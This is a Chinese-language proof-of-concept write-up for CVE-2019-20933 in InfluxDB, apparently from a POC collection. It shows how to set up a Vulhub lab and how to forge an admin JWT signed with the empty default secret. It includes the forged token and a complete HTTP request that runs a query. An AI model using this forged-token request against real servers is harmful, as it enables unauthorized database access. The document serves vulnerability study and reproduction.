Awesome-POC/数据库漏洞/InfluxDB JWT 认证绕过漏洞 CVE-2019-20933.md

66 lines
1.9 KiB
Markdown
Raw Normal View History

2024-11-06 14:10:36 +08:00
# InfluxDB JWT 认证绕过漏洞 CVE-2019-20933
## 漏洞描述
InfluxDB是一款著名的时序数据库其使用jwt作为鉴权方式。
在其1.7.6版本以前默认设置jwt的认证密钥`shared-secret`为空字符串导致攻击者可以伪造任意用户身份在InfluxDB中执行SQL语句。
参考链接:
- https://www.komodosec.com/post/when-all-else-fails-find-a-0-day
- https://github.com/influxdata/influxdb/issues/12927
- https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933
- https://docs.influxdata.com/influxdb/v1.7/administration/config/#http-endpoints-settings
## 环境搭建
Vulhub执行如下命令启动InfluxDB 1.6.6
```
docker-compose up -d
```
环境启动后,访问`http://your-ip:8086/debug/vars`即可查看一些服务信息但此时执行SQL语句则会出现401错误
![image-20230504104909482](images/image-20230504104909482.png)
## 漏洞复现
借助<https://jwt.io/>来生成jwt token
```
{
"alg": "HS256",
"typ": "JWT"
}
{
"username": "admin",
"exp": 1998787794
}
```
其中,`admin`是一个已经存在的用户,`exp`是一个时间戳代表着这个token的过期时间你需要设置为一个未来的时间戳。借助<https://tool.lu/timestamp/>来生成时间戳。
最终生成的token
![image-20230504105424366](images/image-20230504105424366.png)
发送带有这个jwt token的数据包可见SQL语句执行成功
```
POST /query HTTP/1.1
Host: your-ip:8086
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxOTk4Nzg3Nzk0fQ.i69iSGK3q5OCEX0aExMKHciDG7nivuz4xHTgyj4-CPY
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
db=sample&q=show+users
```
![image-20230504105755072](images/image-20230504105755072.png)